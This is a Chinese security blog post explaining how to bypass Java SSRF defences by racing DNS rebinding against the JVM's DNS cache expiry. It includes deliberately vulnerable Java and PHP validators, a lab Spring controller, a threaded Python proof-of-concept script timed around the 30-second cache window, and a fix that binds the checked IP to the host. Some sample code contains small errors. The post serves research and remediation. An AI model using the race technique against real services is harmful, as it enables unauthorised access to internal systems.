Java环境下通过时间竞争实现DNS Rebinding 绕过SSRF 防御限制

零、前言

一个Java环境下SSRF新型利用方式。

本文已首发『百度安全应急响应中心』公众号,禁止转载。

一、  漏洞原理

SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞,主要指攻击者利用可发起网络请求的服务当做跳板攻击其他服务的安全漏洞(在请求远程服务端资源前,未检查是否为内网资源,直接请求的行为,不管是否返回了请求结果信息,只要发起了请求,均存在SSRF问题)。常见情况下,SSRF攻击的目标是从外网无法直接访问的内部系统。

SSRF 攻击的常规检查一般有以下几个步骤:

  • 解析URL的协议和IP
  • 检查协议,一般只允许HTTP或HTTPS,避免file、gopher等协议的风险
  • 检查IP,看请求地址是否是内网IP
  • 检查重定向,直接禁止或者递归检查
  • 若不存在风险,则业务发起URL请求

示例代码如下:

public static String checkSSRF(String url) {

    HttpURLConnection connection;

    try {
        // 检查协议
        URL u = new URL(url);
        if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
            return "Protocol ERROR";
        }

        // 检查ip
        String host = url.getHost();
        InetAddress ip = InetAddress.getByName(host)
        if(isPrivateIp(ip)){
            return "IP ERROR";
        }

        // 业务请求
        connection = (HttpURLConnection) new URL(url).openConnection();
        connection.setInstanceFollowRedirects(false);
        connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
        connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s
        connection.connect(); // send dns request
    } catch (Exception e) {
        return true;
    }
    return true;
}

二、  DNS Rebinding

上述的修复方案乍一看没有什么不妥,但是从DNS解析的角度看上述的流程一共发生了两次DNS解析,第一次是检查IP,第二次是正常的业务请求。

那么两次DNS之间存在一个时间差,在协议正确的情况下,如果设置两个DNS记录,第一个为外网地址,第二个为内网地址,按顺序解析且TTL为0。攻击检测时,解析第一个外网地址,通过检查;在业务请求时,解析第二个内网地址,则可以实现SSRF攻击。DNS设置如下图所示(DNS服务构建可参考:https://github.com/makuga01/dnsFookup)

使用dig进行DNS解析,先后两次结果为

我们以如下PHP代码为例,该代码将取出来的 $ip 通过了内网IP检测后,进入curl流程会重新执行一次域名解析。如果此刻域名的解析突然变为内网,则curl会跟进内网的访问,从而实现了SSRF的绕过。

<?php
    $host = parse_url($url, PHP_URL_HOST);
    $ip = @gethostbyname($host);
    if (!isPrivateIp($ip)){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
..........
?>

因此为了解决通过DNS Rebinding绕过传统修复方案的问题,加入了一个新的步骤:在检测阶段将获取的IP与HOST绑定,后续的业务请求不在重新进行DNS解析,这样保证检测和业务请求的实际IP是一致的。修复示例代码如下:

<?php
    $ip = @gethostbyname($host);
    $ch = curl_init($scheme."://". $ip. ":" . $port. $path. $query); // 重新拼接url,将url 用IP进行替换
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: '.$host)); // 手动构造Header头 Host字段,实现绑定
    $response = curl_exec($ch);
    curl_close($ch);
?>

Java程序一般被认为并不存在DNS Rebinding的问题,因为Java JVM 存在DNS缓存机制,短时间内的请求会从直接从缓存获取解析记录,而不是二次发起DNS请求。所以在修复的时候,Java可能不会考虑将IP与HOST绑定,不过笔者发现Java环境下可以通过时间竞争实现DNS Rebinding,绕过DNS缓存对常规DNS Rebinding的限制。

三、  Java环境下的特殊利用

Java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s(字段为networkaddress.cache.negative.ttl,默认为10s)。缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置。

# The Java-level namelookup cache policy for successful lookups:
#
# any negative value: caching forever
# any positive value: the number of seconds to cache an address for
# zero: do not cache
#
# default value is forever (FOREVER). For security reasons, this
# caching is made forever when a security manager is set. When a security
# manager is not set, the default behavior in this implementation
# is to cache for 30 seconds.
#
# NOTE: setting this to anything other than the default value can have
#       serious security implications. Do not set it unless
#       you are sure you are not exposed to DNS spoofing attack.
#
#networkaddress.cache.ttl=-1

# The Java-level namelookup cache policy for failed lookups:
#
# any negative value: cache forever
# any positive value: the number of seconds to cache negative lookup results
# zero: do not cache
#
# In some Microsoft Windows networking environments that employ
# the WINS name service in addition to DNS, name service lookups
# that fail may take a noticeably long time to return (approx. 5 seconds).
# For this reason the default caching policy is to maintain these
# results for 10 seconds.
#
#
networkaddress.cache.negative.ttl=10

那么思考这样一个问题,如果刚刚好到了DNS缓存时间,此时更新DNS缓存,那些已经过了SSRF Check而又没有正式发起业务请求的request,是否使用的是新的DNS解析结果呢,如下图所示:

以域名ssrf.test.com 为例,当request_1、request_2、request_3刚通过SSRF Check,此时正好DNS缓存过期,而这三个请求处在中间态还没有真正发出去。此时又来一次ssrf.test.com 的请求,此次DNS解析为内网地址,显然它无法经过Check,但它已经保留在了DNS缓存,对于处在中间态的还未发出去的请求,则会使用缓存中的内网地址,以此达到SSRF的效果。也就是说Java也是存在Rebinding的问题,不过这种利用思路需要将SSRF与时间竞争结合。

四、  思路验证

我们构造如下实验代码

package com.springboot.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import javax.servlet.http.HttpServletRequest;

@RestController
public class TestController {

    @RequestMapping("/test")
    public String test(HttpServletRequest request) throws FileNotFoundException {

        String msg = "";
        try{
            String domain = request.getParameter("domain");
            URL url = new URL(domain);
            String host = url.getHost();
            InetAddress ip = InetAddress.getByName(host);
            if(isPrivateIp(ip)){
                System.out.println("isPrivateIp");
                return "IP ERROR";
            }

            //do something
            Thread.sleep(500);
            HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
            httpURLConnection.connect();
            int code = httpURLConnection.getResponseCode();
            if (code == 200) { // 正常响应
                // 从流中读取响应信息
                BufferedReader reader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
                String line = null;
                while ((line = reader.readLine()) != null) { // 循环从流中读取
                    msg += line + "\n";
                }
                reader.close(); // 关闭流
            }
        }catch (Exception e){
            System.out.println("error");
            System.out.println(e.toString());

        }
        return msg;
    }

    private boolean isPrivateIp(InetAddress ip) {
        String ipString = ip.getHostAddress();
        if (ip.isSiteLocalAddress() || ip.isLoopbackAddress() || ip.isAnyLocalAddress()) {
            // 判断是否为 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 || 127.0.0.0/8 || 0.0.0.0
            return true;
        }
        // 判断是否为 100.64.0.0/10
        if (ipString.startsWith("100")) {
            int x = Integer.parseInt(ipString.split("\\.")[1]);
            return x >= 64 && x <= 127;
        }
        return false;
    }
}

DNS 解析规则设置如下,解析1次外网,解析1次内网请求。在第一次DNS请求成功解析的情况下,188的外网IP会被缓存30秒,30秒过后开始解析10的内网IP。被解析的那个请求并不会通过isPrivateIp函数的Check,但在30秒的临界点上,会有少量请求经过Check但还没有发出去,此时Java JVM的缓存却已经改变了,最终中间态的少量请求实际是向10的内网IP发起的。

启动服务,使用burpsuite发起请求,如下图所示,在30秒多一点请求200多次的时候利用成功(解析内容是我们SSRF靶场)。

其实理论上只要在发起第一次请求后等到30秒之前的时候再请求即可,这样应该可以在更少的请求次数内完成漏洞利用。经过实验(代码如下),最少用20次左右的请求即成功执行,在实战中这与服务的并发数量和代码的处理逻辑有关。

#!/usr/bin/env python3

import requests
import threading
import time

count = 0

def run():
    global count
    count += 1
    r = requests.get("http://127.0.0.1:8080/test?domain=http://ssrf.test.com")
    if "2lir6iNQqki1IDcdxr" in r.text:
        print(r.text)
        print(count)
    return r.text

if __name__ == '__main__':
    print(run())
    time.sleep(26)
    while(True):
        t = threading.Thread(target=run)
        t.start()
        time.sleep(0.1)

五、  修复

按照正常的DNS Rebinding修复逻辑修复即可,在Check时获取IP地址,后面的请求绑定此IP。

六、  参考文献

https://paper.seebug.org/390/

http://www.lpnote.com/2018/11/23/java-dns-cache/

发表评论

电子邮件地址不会被公开。 必填项已用*标注